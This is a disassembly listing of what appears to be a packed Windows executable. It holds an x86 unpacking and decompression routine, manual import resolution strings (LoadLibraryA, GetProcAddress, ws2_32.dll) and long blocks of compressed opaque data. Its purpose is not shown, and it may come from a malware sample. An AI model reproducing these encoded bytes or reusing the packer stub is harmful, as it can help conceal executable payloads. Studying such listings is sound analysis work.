		dd 0FB8AF52Ch, 8358F58Ah, 816604EBh, 8139E1CAh,	0FFF8D0FBh
		dd 9D850FFFh, 80FFFFFFh, 8C0F60DCh, 0
		dd 6E8h, 34074600h, 8AA3D25Dh, 10E85AF9h, 0B8000000h, 64F7F691h
		dd 0D09382CDh, 0FCEFCEC9h, 660BDA85h, 815BC88Bh, 723C2h
		dd 2BCEB500h, 0DE9FFh, 56710000h, 0E2ADC4D7h, 2EA93073h
		dd 8B655CCFh, 0E1683A04h, 0E94C3A03h, 9, 6063921Dh, 8CBFDE19h
		dd 0E8815ED5h, 60ABEF04h, 6870Fh, 0D6810000h, 4356EA90h
		dd 2CEDE881h, 0B9576D20h, 7D3CA7CBh, 22E8815Eh,	0B330B187h
		dd 3A04897Ah, 0E820Fh, 0E8510000h, 6, 6D849716h, 5B5E33A2h
		dd 0EF83FC8Ah, 8EDDB904h, 0FF812B78h, 0FFFFF988h, 0FF95850Fh
		dd 0D681FFFFh, 111AD44Ch, 4F81B966h, 0BE8h, 0BD146700h
		dd 0B98003B2h, 75AC5FFEh, 58D08B66h, 668C081h, 0CA8B0000h
		dd 168BEh, 0E186BA00h, 30FF0D1Bh, 815B3CB5h, 1B3413F3h
		dd 20A4BF46h, 0EB815891h, 3D252650h, 9D28166h, 49EB817Eh
		dd 0E84C5DE0h, 11h, 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h
		dd 5989B635h, 4890F53h,	52000000h, 8F5AD6B5h, 5E900h, 1E590000h
		dd 8315CCFFh, 685204E8h, 102A1164h, 0C9F78166h,	835F5ADBh
		dd 850F01EEh, 1Bh, 0E9FBB70Fh, 39h, 8AF52CDFh, 567118FBh
		dd 0E2ADC4D7h, 2EA93073h, 0E9655CCFh, 0Dh, 0F4C706E1h
		dd 6063921Dh, 8CBFDE19h, 0FF64E9D5h, 78DBFFFFh,	24B7B651h
		dd 9053428Dh, 0BCAF8E89h, 0FE945h, 8AB0000h, 0B487C6A1h
		dd 202352DDh, 4C7F9ED9h, 0FE895h, 389B0000h, 0E4777611h
		dd 5013024Dh, 7C6F4E49h, 14D88105h, 5A31A257h, 0D7D080BBh
		dd 86C2814Dh, 8B000005h, 13768C3h, 0D8810000h, 63B10F62h
		dd 66328B59h, 8128BABBh, 0B54C6DEEh, 0A2F68160h, 0E833C8F0h
		dd 9, 0E0E3129Dh, 0C3F5E99h, 0D88B6655h, 33C6815Bh, 66052C01h
		dd 3289F88Bh, 6E8h, 0D427E600h,	0FC3727Dh, 835FFBB7h, 0E98304EAh
		dd 16850F01h, 0E9000000h, 30h, 882B7AA5h, 34074621h, 0A0A3D25Dh
		dd 0CCFF1E59h, 28E0F15h, 8B000000h, 0FF93E9C3h,	9382FFFFh
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0E8h
		dd 895B5D00h, 8958575Dh, 3C385h, 7D805800h, 55750156h
		dd 3DB8589h, 8D600000h,	33502F45h, 30FF64C0h, 8B208964h
		dd 2A2E8C3h, 1CEB0000h,	824648Bh, 68F6764h, 0C4830000h
		dd 458D6104h, 55FF505Bh, 29CE857h, 9EB0000h, 68F6764h
		dd 0C4830000h, 17EB24h,	77E79F93h, 6E72656Bh, 32336C65h
		dd 6C6C642Eh, 24DE800h,	8DFC0000h, 84B5h, 0C00BAD00h, 0F88B1B74h
		dd 0CB9h, 0EBA4F300h, 40100010h, 0BB432800h, 0A21119B2h
		dd 3A7C7180h, 0DFA5896Bh, 6A000003h, 10006804h,	0B5FF0000h
		dd 3BEh, 95FF006Ah, 3AAh, 1758589h, 9D8B0000h, 3B6h, 3C39D03h
		dd 53500000h, 0B5E8h, 68046A00h, 1000h,	3BEB5FFh, 6A0000h
		dd 3AA95FFh, 85890000h,	179h, 175958Bh,	0F8BB0000h, 8B000001h
		dd 0B0C1A7Ch, 8B1E74FFh, 0B101A4Ch, 31174C9h, 179BDh, 1A748B00h
		dd 0C1F20314h, 0A5F302F9h, 0EB28C383h, 75858BDAh, 50000001h
		dd 179958Bh, 8B520000h,	8BDA0318h, 39E85h, 8B038900h, 3A285h
		dd 4438900h, 3A6858Bh, 43890000h, 8B5E5F08h, 0C7030446h
		dd 1708589h, 9D8D0000h,	3C3h, 6A006A53h, 57016A00h, 3085E8Bh
		dd 6853DFh, 6A000080h, 95FF5600h, 3AEh,	37B00068h, 0C300h
		dd 34h
		db 36h,	0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h

loc_46B57C:				; CODE XREF: .nsp0:loc_46B58Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi

loc_46B582:				; CODE XREF: .nsp0:0046B5E0j
					; .nsp0:0046B625j ...
		add	dl, dl
		jnz	short loc_46B58B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B58B:				; CODE XREF: .nsp0:0046B584j
		jnb	short loc_46B57C
		add	dl, dl
		jnz	short loc_46B596
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B596:				; CODE XREF: .nsp0:0046B58Fj
		jnb	short loc_46B5E2
		xor	eax, eax
		add	dl, dl
		jnz	short loc_46B5A3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5A3:				; CODE XREF: .nsp0:0046B59Cj
		jnb	loc_46B67F
		add	dl, dl
		jnz	short loc_46B5B2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5B2:				; CODE XREF: .nsp0:0046B5ABj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B5BD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5BD:				; CODE XREF: .nsp0:0046B5B6j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B5C8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5C8:				; CODE XREF: .nsp0:0046B5C1j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B5D3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5D3:				; CODE XREF: .nsp0:0046B5CCj
		adc	eax, eax
		jz	short loc_46B5DD
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_46B5DD:				; CODE XREF: .nsp0:0046B5D5j
		mov	[edi], al
		inc	edi
		jmp	short loc_46B582
; ---------------------------------------------------------------------------

loc_46B5E2:				; CODE XREF: .nsp0:loc_46B596j
		mov	eax, 1

loc_46B5E7:				; CODE XREF: .nsp0:loc_46B5FBj
		add	dl, dl
		jnz	short loc_46B5F0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5F0:				; CODE XREF: .nsp0:0046B5E9j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B5FB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B5FB:				; CODE XREF: .nsp0:0046B5F4j
		jb	short loc_46B5E7
		sub	eax, 2
		jnz	short loc_46B62A
		mov	ecx, 1

loc_46B607:				; CODE XREF: .nsp0:loc_46B61Bj
		add	dl, dl
		jnz	short loc_46B610
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B610:				; CODE XREF: .nsp0:0046B609j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B61B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B61B:				; CODE XREF: .nsp0:0046B614j
		jb	short loc_46B607
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_46B582
; ---------------------------------------------------------------------------

loc_46B62A:				; CODE XREF: .nsp0:0046B600j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_46B638:				; CODE XREF: .nsp0:loc_46B64Cj
		add	dl, dl
		jnz	short loc_46B641
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B641:				; CODE XREF: .nsp0:0046B63Aj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B64C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_46B64C:				; CODE XREF: .nsp0:0046B645j
		jb	short loc_46B638
		cmp	eax, 7D00h
		jnb	short loc_46B66F
		cmp	eax, 500h
		jb	short loc_46B66A
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B582
; ---------------------------------------------------------------------------

loc_46B66A:				; CODE XREF: .nsp0:0046B65Aj
		cmp	eax, 7Fh
		ja	short loc_46B672

loc_46B66F:				; CODE XREF: .nsp0:0046B653j
		add	ecx, 2

loc_46B672:				; CODE XREF: .nsp0:0046B66Dj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B582
; ---------------------------------------------------------------------------

loc_46B67F:				; CODE XREF: .nsp0:loc_46B5A3j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_46B69B
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B582
; ---------------------------------------------------------------------------

loc_46B69B:				; CODE XREF: .nsp0:0046B687j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 40h
		dd 8B77E821h, 3D242444h, 77E00000h, 67640A73h, 68Fh, 0C324C483h
		dd 0FF000025h, 5FFh, 2D0001h, 66000100h, 5A4D3881h, 8960F475h
		dd 3B285h, 8BD08B00h, 3C4003D8h, 89785803h, 2B69Dh, 869D8D00h
		dd 8D000003h, 39EBDh, 89338B00h, 336B5h, 0BE800h, 83AB0000h
		dd 3B8304C3h, 61EA7500h, 9D8B60C3h, 2B6h, 3204B8Bh, 3318BCAh
		dd 2FE8F2h, 0CEBF0000h,	3B49CD75h, 830574C7h, 0E9EB04C1h
		dd 2B204B2Bh, 3E9D1CAh,	0CA03244Bh, 0C109B70Fh,	4B0302E1h
		dd 8BCA031Ch, 89CA0309h, 611C244Ch, 8EBA52C3h, 0AC9C3B24h
		dd 1474C00Ah, 8B0D032h,	673EAD1h, 0F39AF281h, 0C8FEC1A7h
		dd 0E7EBF275h, 0A7C35A92h, 0F0B72551h, 57A7493Bh, 13901902h
		dd 0CE74EE32h, 49CD75h,	0FD000000h, 9377E7A5h, 0D877E79Fh
		dd 0A77E805h, 3477E798h, 77E79Eh, 0E077E600h, 4C0006B9h
		dd 0C4h, 1D0h, 2 dup(400000h), 3 dup(0)
		dd 22108h, 0
		dd 12FFA4h, 0
		dd 1000h, 1F400h, 0EF12h, 21000h, 1C00h, 0B8Ah,	23000h
		dd 15C00h, 6DD9h, 47h dup(0)
		dd 90000000h, 2000h, 8,	6 dup(0)
		dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 6B950h, 6B93Ch, 3 dup(0)
		db 0CCh
		db 0B9h, 6, 0
		dd 6B9D7h, 5 dup(0)
		dd 5F327377h, 642E3233h, 36006C6Ch, 71AB18h, 0
		dd 1B838A4h, 8B06270h, 10A32F0h, 21019C7Fh, 23D0715Dh
		dd 1089AE15h, 406FBB1Ch, 9632F115h, 0E34D0409h,	501F24EAh
		dd 289A15A3h, 0EA660ECh, 0B2289E57h, 0BF509A70h, 22801128h
		dd 0F2A24602h, 48902420h, 50A49512h, 0A89B0ECh,	28BDB612h
		dd 0DE0EC094h, 70DFAF26h, 10243804h, 6000C40h, 69727453h
		dd 67350E6Eh, 1A01958h,	8E042050h, 2AE43300h, 922F018h
		dd 0F84400F4h, 29CC88ECh, 1338E081h, 7190028h, 6A624F54h
		dd 3630065h, 5025FF74h,	81004171h, 1091C08Bh, 48C84Ch
		dd 407244E4h, 381C3C39h, 34478E00h, 2C913023h, 0E42800C8h
		dd 39207224h, 86E31C60h, 14231822h, 0CC80046h, 47208E4h
		dd 5CE8843Bh, 70FC3800h, 23F8478Ch, 0D3BF00F4h,	86C2920h
		dd 0CA3C6891h, 0EC650FF0h, 998C2032h, 0FE4C8818h, 805EC084h
		dd 78907C23h, 8353C000h, 49BBBCC4h, 0C59010Ah, 0DF3E854h
		dd 2444C0F6h, 74012C00h, 78B70F05h, 301B005Ch, 0FB38C38Bh
		dd 200AD5Bh, 431EE82Ch,	0E434A5h, 99E06432h, 0D81CDC08h
		dd 23D472C0h, 80CC90D0h, 4C03BE56h, 8312C764h, 3A75803Eh
		dd 67440068h, 16ACC06h,	80E6A7E8h, 0C88B0E00h, 575C985h
		dd 0C0330018h, 48A1CA5Eh, 890E43C7h, 0F0D2501h,	8BD2C008h
		dd 703C2h, 0C1448DC0h, 891E8104h, 6C8180Fh, 0FA83A042h
		dd 0EC7564h, 109F1FCFh,	90591699h, 541DDB01h, 58E80440h
		dd 3BECF2C8h, 0E78033D8h, 30ED8597h, 16008B49h,	8503A89h
		dd 71045699h, 213FC0Ch,	586233EFh, 37414214h, 1C4A3003h
		dd 0A2501907h, 0F9B0FD08h, 0E9451h, 3E999115h, 0C30743A3h
		dd 5790030Fh, 0F18BE055h, 12414F9h, 5022E8D4h, 0EC049760h
		dd 5D006A46h, 0BF90BEEBh, 43B03Bh, 5303D0A0h, 16120C79h
		dd 2147503h, 0A06FE813h, 3126B9ADh, 0C909646h, 0EB04D801h
		dd 3E45000h, 0C23B4EC1h, 5D0D1275h, 0D03C071Dh,	0A7EBA7DFh
		dd 0D67ED07Ch, 0E803C519h, 42842B3Fh, 6AF000A0h, 5F5D2A5Ah
		dd 8D074C89h, 207451A8h, 0BFA3F880h, 0FB7493h, 3BA10732h
		dd 0D16C72F0h, 4A03CE0Eh, 1DE8E086h, 18D86Eh, 245E77CDh
		dd 43FB1B75h, 6601BC00h, 0AA290CFFh, 7B830E39h,	44E040C8h
		dd 97EB9465h, 870A3D12h, 0CE038900h, 4DF877h, 41CFF530h
		dd 0DC7329FEh, 0D926EB02h, 4089852Ah, 60752BB1h, 96CFD6F9h
		dd 0D0030F12h, 6A77B9B4h, 788590D4h, 900C00EBh,	0A887E90Dh
		dd 0FB3E3B1Bh, 561C83E6h, 0FF2A9259h, 0DA8B3910h, 81F0000Ch
		dd 0E0104EFEh, 739287Dh, 54DF00BEh, 3BFFC6CEh, 0E6B30014h
		dd 89100860h, 6A000473h, 32680138h, 561820h, 8B7C049h
		dd 3B8903F8h, 74FF850Fh, 0B8D36023h, 38489250h,	138064ACh
		dd 0E488804Ah, 37E0D8Bh, 4FBFE800h, 64AAF857h, 1F557DC1h
		dd 40B424D9h, 447C414h,	6A7D3B61h, 85D6500Eh, 532CA00Ch
		dd 1F5775h, 29A39C79h, 839E3125h, 95000590h, 5ADCEA77h
		dd 0EC6C49h, 13214CFDh,	98C7E424h, 834E307h, 667003FFh
		dd 31D954D7h, 9721D01h,	0F7C5F0D8h, 102A9E0Fh, 124F80D4h
		dd 4951EBh, 900173F3h, 0E44677EEh, 7679C648h, 35BDFB0Eh
		dd 0C4742AFEh, 89C0871Dh, 4715670Dh, 6BFD0076h,	567599EAh
		dd 0D0007354h, 5C70A86h, 0F8D2C6Dh, 1065C21Bh, 0FB81DF00h
		dd 75015907h, 460ACA7h,	83F8EDC3h, 7050007Ch, 0FA319C0h
		dd 8F40DA5h, 158A2200h,	0B4972B0Ch, 0AFC9001Dh,	9A14AC42h
		dd 0B83DB1B9h, 853180F4h, 5C81EAC8h, 50FD00E5h,	1ADE03BAh
		dd 0D203C25Dh, 0E2204E0Fh, 40D4921Fh, 6F7888h, 2B450D28h
		dd 0D54637C5h, 0CF333501h, 45EFB3Ch, 770C7ED0h,	90C10003h
		dd 0DDF10276h, 0A0907FDBh, 0DC6BA0Eh, 1EF00098h, 0E2105891h
		dd 922B003Dh, 5A155357h, 0A624D4C1h, 140074A3h,	0BA290F36h
		dd 86BC3A94h, 0AC920C83h, 0C9882C74h, 0F300B684h, 8232A285h
		dd 3419E6h, 3EB9E41h, 613F651Dh, 0F730C903h, 0F00FCA2Bh
		dd 1385185h, 241C0E0Bh,	2077DF73h, 7A09EFBAh, 0FD158Dh
		dd 4081A1CCh, 4227071Dh, 804A0288h, 3862C051h, 45C7B400h
		dd 560BD43h, 0FFE0FB37h, 874E003Fh, 0F5C00CE7h,	0D41FC55Dh
		dd 0FC03B33h, 4A612C7Fh, 64D700F1h, 1F38E855h, 77005C05h
		dd 0F5507487h, 498D46h,	3E4216DAh, 0A27358Bh, 0C900DD7Dh
		dd 0E8C7AA91h, 3483B31h, 0CCFC212Fh, 87E8BAB1h,	3C01830Ch
		dd 0D7A55C24h, 6E44323h, 0AC6700E8h, 0C2E659CDh, 10004737h
		dd 0F4B5CA6h, 1FA8B74h,	76933F0Ah, 0EA620250h, 559885C0h
		dd 0F575281Dh, 575489h,	968E2A2Ah, 8D4901E0h, 2BA950DAh
		dd 9CA2F4B2h, 0E8566803h, 0D080A4EFh, 82A1B9h, 0C379D33h
		dd 86A9C924h, 1F90493Dh, 16C0B175h, 53EF278Bh, 986DF88Ch
		dd 0E9820002h, 4EB207DEh, 960EA062h, 0A0344347h, 9A66850Fh
		dd 4BA701FFh, 0CA48EBC3h, 0F527706Bh, 3A007577h, 1D159249h
		dd 3CA66DD8h, 51B9217Ah, 9B388380h, 0DA1128A8h,	4F464001h
		dd 524509AAh, 0A23A20h,	6A4A9A07h, 0A480C5C7h, 8B89230Fh
		dd 8D00BEF9h, 431C4698h, 364C00E3h, 0D4F0031Eh,	7000BE6h
		dd 5B73DE3Bh, 81CFF4h, 8AD32B74h, 0CC05B38Bh, 22B85100h
		dd 7CB9534Fh, 205C0060h, 1F74DB85h, 9500B6A5h, 4B96B4C3h
		dd 3E128939h, 2B03CB47h, 14F60811h, 3C94F288h, 92FB880Eh
		dd 77A40EBh, 8D8EAAh, 0EC81854Bh, 68449C1Dh, 0C0192E1Eh
		dd 32FF64C0h, 0B07B89E6h, 28300BACh, 348040C7h,	606C3D79h
		dd 0A7E1600h, 0CF4513A4h, 22610776h, 0B09ED537h, 68508CC8h
		dd 10F848h, 62A3CC28h, 7E832D88h, 8406003Dh, 3B8262Fh
		dd 150045BEh, 0C9330E05h, 182C080h, 3D2A40F4h, 700DAF01h
		dd 7000B841h, 73BE2C27h, 7C62C8h, 2805C684h, 0EA0014Ah
		dd 34595A00h, 68100A8Ch, 29970735h, 80D75187h, 548FE9C3h
		dd 0E5C81E00h, 5D2EA050h, 6FC400A4h, 229F4C53h,	84030F1Ah
		dd 0D290D5CCh, 2985C012h, 937A07C8h, 0C5A18268h, 4A278091h
		dd 1E0225AFh, 0F4DCB235h, 0E9B08012h, 46D509h, 0BBB3983Dh
		dd 7EE692B5h, 254E0307h, 749081B8h, 7323817h, 5E57153Eh
		dd 75058053h, 0CA0019E9h, 1A94DA77h, 0A523Bh, 0C2E4DF29h
		dd 0E0805BDBh, 51C537Ch, 996A17Ch, 1528F800h, 13DF0Bh
		dd 81084802h, 27ADE4F9h, 387F38h, 0C985176Dh, 2E031C79h
		dd 3997C183h, 0D2D50200h, 0F481CD97h, 4A24EB00h, 46DA5117h
		dd 0F02C3D18h, 0CBFF580h, 1582D678h, 0D709AE0Ch, 1E9D6652h
		dd 56EB938Ch, 0EDB500B5h, 30772C1h, 0CF0CEE00h,	12C2160Fh
		dd 0FA7F81h, 66E87518h,	1185B910h, 650348h, 40C45D8Eh
		dd 0E983CAh, 761C97B8h,	10FA0201h, 0C70F7C00h, 8070C803h
		dd 0D14C008Bh, 0D80C2085h, 40028A0h, 4286F37Ch,	4802C981h
		dd 8007D2Dh, 0FF260B30h, 0A4001C05h, 83D00CB8h,	0AB04EAh
		dd 0E4FC4CE2h, 1177F30h, 91201509h, 0BA858093h,	6EC33Ch
		dd 0A90E7C0Ch, 2B6502CAh, 84C1F200h, 558668DBh,	1CE22E4Ah
		dd 83C200A5h, 8B1FE20h,	48484D26h, 92E10Bh, 742506EDh
		dd 42A3F31h, 54B0DA80h,	802B64A1h, 33C8AE00h, 0FEC2F711h
		dd 0ACE20FB2h, 0F621EB20h, 0DCFAC701h, 0A770468Ah, 2B087200h
		dd 0EB703BC6h, 61E0158h, 0C517E888h, 84AB60F9h,	64A25501h
		dd 33D8CB9Eh, 0A9F0A0E9h, 67050085h, 5A1F250Bh,	0C4FFF85Fh
		dd 200A824h, 3C13753Bh
		dd 2C62AF3h, 5046FE32h,	0CC411608h, 0C725E023h,	4AB09604h
		dd 70C359F8h, 66AE987Bh, 3F2E394Dh, 80B3DC1Fh, 2B37A08Dh
		dd 0F30FA9D1h, 61C9437Fh, 0C67D64CEh, 76F1C5C8h, 8E90F4h
		dd 53B5BF6Bh, 0E766C892h, 0EB074003h, 0E0250F6Fh, 8D1CEFh
		dd 0FE11EA46h, 4FD6902Ch, 0B923ED01h, 2BD5D830h, 0B5C8E4h
		dd 62AA4DABh, 40736BF8h, 0C29A3Ah, 148D0A18h, 0E8D0BCh
		dd 3C1AFF51h, 0C1F858EFh, 5901B000h, 0D248395Ah, 413003D7h
		dd 747389DFh, 0C61E03D0h, 52E88300h, 81010495h,	4ECC0EFEh
		dd 85A7C437h, 0C23513D2h, 4CD9FAF0h, 904D701Ch,	80BCF48Bh
		dd 89200DDEh, 5BE8005Ch, 1B138798h, 4C0F3AEBh, 11243E3h
		dd 5A1D92B6h, 2CA930h, 7C023C7Fh, 939590Dh, 0E40BCF02h
		dd 40171483h, 12633EDh,	2E6AB31Dh, 0D0BC5B5Ah, 8000101Fh
		dd 9547E8Fh, 72FD94h, 7118393h,	0A12BEB0Ah, 0C8F23E90h
		dd 15B98200h, 8C8A1284h, 19260107h, 8DAFCA52h, 0E444C50Fh
		dd 483978B3h, 72670F6Bh, 0F801B60Eh, 0FCC23FA5h, 2C0CC060h
		dd 7213551h, 45E48C21h,	523FC112h, 0D85860E0h, 2A269000h
		dd 7BA927E8h, 1190029h,	3200447h, 0F30F0B9Dh, 20247449h
		dd 1781C63Fh, 0AB971DE8h, 842D4333h, 76DE117Ah,	5932C700h
		dd 5EDF6D48h, 35F5006Fh, 3E7D8237h, 2100834Dh, 10FE935Dh
		dd 6C949Dh, 74D4CFC9h, 33E809F1h, 97C60639h, 74003698h
		dd 0D3B96C4h, 20750BCAh, 37809002h, 0BEC6490Ch,	0CC005EFEh
		dd 2152E18Dh, 1B7CAAAh,	2C602931h, 0C88F2482h, 4000BAA2h
		dd 3D0226F8h, 17F42EFh,	0BB5C5116h, 0F0825412h,	750FD2AAh
		dd 0C05E5308h, 34A913EAh, 0BFDCFD84h, 32EE844h,	64E180BDh
		dd 77A85374h, 84008E0Fh, 1F1728B1h, 17E6C88h, 920B7B4Ch
		dd 2031D719h, 0EBFE8EA3h, 281F421Ch, 0F4BB7483h, 1663C826h
		dd 0D10D00E4h, 120E2767h, 410049D8h, 0C71B954Eh, 1E07889Ah
		dd 0C042E909h, 18EB3BF6h, 2900A448h, 927D830Ah,	78498C7h
		dd 38153DFDh, 0C4B3F045h, 8C033501h, 0D9B1D628h, 0F30AD04Bh
		dd 32CE13EEh, 51500044h, 3E66F54Ch, 0B0EEBCE8h,	658B6100h
		dd 0D33C7405h, 0D6030017h, 0EB4D3292h, 0F20011C1h, 5758C41h
		dd 3D69DAh, 5CAD3307h, 4E0E6A01h, 5D4B7E00h, 5595D464h
		dd 2DB6008Dh, 0A50A9617h, 291DDAE8h, 99C094B1h,	0C2E9FC82h
		dd 32D54CAFh, 0EA685500h, 40265A20h, 85213100h,	7C383E1h
		dd 46E300CEh, 0D282FBB2h, 0AE05BB05h, 52810F8Bh, 8F501F87h
		dd 1DCDB693h, 81841C49h, 7974427Dh, 3C6E848h, 0A7C3520Fh
		dd 5506124h, 263075D0h,	840D012Ah, 890B4BB8h, 0E19B607Ch
		dd 2801BC98h, 183DE29Fh, 0AF08F44h, 214D07D9h, 2006AD84h
		dd 61780D2Eh, 52757D00h, 0BC2AEFA5h, 40F204AEh,	80841DEBh
		dd 4C1F41A4h, 483BD01Eh, 7F82E180h, 4AB294Ah, 35541408h
		dd 8E55C00Dh, 9200492Ah, 0D3651D88h, 0F27D557Bh, 109A0032h
		dd 41690E53h, 80F92C5h,	4F620C7h, 6E87568Bh, 0A8995D30h
		dd 92881224h, 91FA0751h, 6048E7FAh, 59141FA2h, 9FF01602h
		dd 0C0A8F562h, 73E912EAh, 99610368h, 0D61B2266h, 0F15DE0D7h
		dd 0F6001E40h, 0F7502C3h, 904443A4h, 38620940h,	718CFF79h
		dd 897FC33Ch, 5AB56005h, 0AC003A29h, 74015430h,	8B5D0245h
		dd 9C7204E9h, 67B545C0h, 71F7D500h, 53CC29E0h, 0A21043Fh
		dd 0C02B484Ch, 7C463BC5h, 95031800h, 0A69A0C89h, 0A4570059h
		dd 0F8824EE2h, 44033D3Bh, 2C752448h, 0C456A071h, 814B0080h
		dd 0B50D4B2h, 5007E2Eh,	709A6985h, 0B8A54Ah, 4108BDCh
		dd 7402C2F6h, 1EE61C3Ah, 2880FA17h, 0E840BF4h, 8830237h
		dd 8B29A301h, 0D0781FE0h, 0B5BB601h, 16065D4Ch,	0C0D30h
		dd 8B13C524h, 598E9F14h, 0D38A3200h, 66252C88h,	933D01A1h
		dd 226D62A6h, 0E2864017h, 82E897B0h, 8C65305h, 8B80E6EDh
		dd 7BE21h, 0F15E88Bh, 14DE7E5Dh, 0C2F1B800h, 40C703C5h
		dd 0FE3B3DC8h, 838C0F81h, 60D70B1Ch, 0BD00639Dh, 75F831FDh
		dd 0E06C38h, 36052913h,	1791253h, 0E17D9900h, 0A94C8D0Fh
		dd 29160EECh, 0DE60901Fh, 22E9F743h, 33041400h,	203F6D8h
		dd 542803BDh, 9ED401D3h, 0FB52D790h, 8B1BD8E1h,	50DD5Ch
		dd 0FE835DD2h, 3ECE89h,	35EAF594h, 5693C4Ah, 0B5C7A91Eh
		dd 67845C40h, 4F2E96h, 537C23B8h, 68A9C2BCh, 0F715B600h
		dd 18E50EB1h, 14280054h, 8F350385h, 80E35019h, 1DA42CBCh
		dd 252638h, 0F00B401Ch,	0D7947589h, 3BE90D00h, 54CA23DDh
		dd 0A4DF0095h, 784D49B1h, 0B00C22Dh, 2FE4EB7Fh,	23B06h
		dd 560E7D9Ah, 0DA293E83h, 0E531E000h, 9E262CEBh, 6A870052h
		dd 0E64D124h, 86004095h, 0D3BB48C7h, 1E3A1Fh, 27E2A934h
		dd 2E89298Fh, 4656EE00h, 390C4821h, 5F78D8h, 0F37A09A0h
		dd 74286244h, 131C77EEh, 21C02BE9h, 5A19EB4Ah, 0F7D200A7h
		dd 0A27458B8h, 0FC00EDF2h, 0F114FBC2h, 5F98822h, 0C79CDE24h
		dd 73928028h, 5008012h,	0EBFC5D89h, 6C9A36h, 330F4732h
		dd 48030BF8h, 859FB200h, 0DBC629Ch, 7DF0004Fh, 92F3802h
		dd 500011F8h, 91CB041Ah, 91613E8h, 0CF84EBB8h, 7D898B00h
		dd 691D93CEh, 0CB009760h, 40C8388Bh, 16FF000Ah,	58501015h
		dd 10014D7h, 7E8492C3h,	4C55CA87h, 7C9190h, 2247532h, 85088B70h
		dd 74C9121Eh, 0E90080D2h, 0C86E8950h, 33D10242h, 0ED197559h
		dd 0F9EC23E0h, 3A002B7Dh, 9952EB95h, 31065h, 32D753D0h
		dd 989EE722h, 5E09300h,	58040DF0h, 3AF00AAh, 0D1FF025Ah
		dd 80008A48h, 79BEA0B5h, 383E80Bh, 0FB8B3F40h, 0E988083Dh
		dd 0CBE0242Fh, 0C9C8CC01h, 0CDE8CFD7h, 0DBCEC0h, 0DAD9CAD8h
		dd 0DE07DDDCh, 0E1E0DF00h, 0E5E402E3h, 505800C8h, 2E515552h
		dd 90FB8D1h, 805ABC8Ah,	0C03188B2h, 50C900CCh, 808F1EA8h
		dd 101FA284h, 0D2870FA0h, 1160888Bh, 0A99089h, 91A4C806h
		dd 0C6BF3ECBh, 16D7B000h, 1277F739h, 2F740013h,	2A7829C0h
		dd 0A5017FF3h, 0E13B83F0h, 31C4A403h, 5C747130h, 7C3BE80Eh
		dd 19A00F00h, 1AA6FD11h, 0CDCBB000h, 2541C706h,	0C380052h
		dd 5BEAE8C3h, 6000E29Eh, 0B70FA973h, 107F045h, 663CC06Bh
		dd 0F0F27603h, 4000E0DEh, 1F4558Bh, 3F669D0h, 0B68248E8h
		dd 2B81964h, 3C1F0589h,	0E5DCFAAFh, 83908A00h, 260CECh
		dd 31BFD99Bh, 241C2D08h, 95DF2100h, 2C164C8Ch, 2B5900FEh
		dd 14985A58h, 1D07CFC7h, 0D69D078Ah, 0E83C920h,	0C2880046h
		dd 0A72CA80h, 141717ECh, 72070147h, 28E0FEC0h, 0F1EB2D1h
		dd 69EEEBFFh, 0C0D26705h, 0D08046A4h, 0F127212h, 0E776100h
		dd 5CA3D1EFh, 2103A317h, 3BDD75Ch, 760F2AF0h, 0CAB0F700h
		dd 0C939E8EBh, 64630048h, 68350A8Ah, 0F5E06241h, 18E9C102h
		dd 0E052E09Ah, 275588h,	0F451D830h, 12EEF6CEh, 26002BB0h
		dd 1A80F21Ch, 3F75D939h, 158E4E45h, 2D4089B0h, 1BCB5A73h
		dd 27873803h, 90C23708h, 0E2914Eh, 327506EBh, 5EAE16B9h
		dd 300D170h, 88A3674h, 580A193Ah, 1300AF75h, 0F40148E4h
		dd 0ED16E74Ah, 4C079025h, 0EC800220h, 0B5311Ah,	386C232Eh
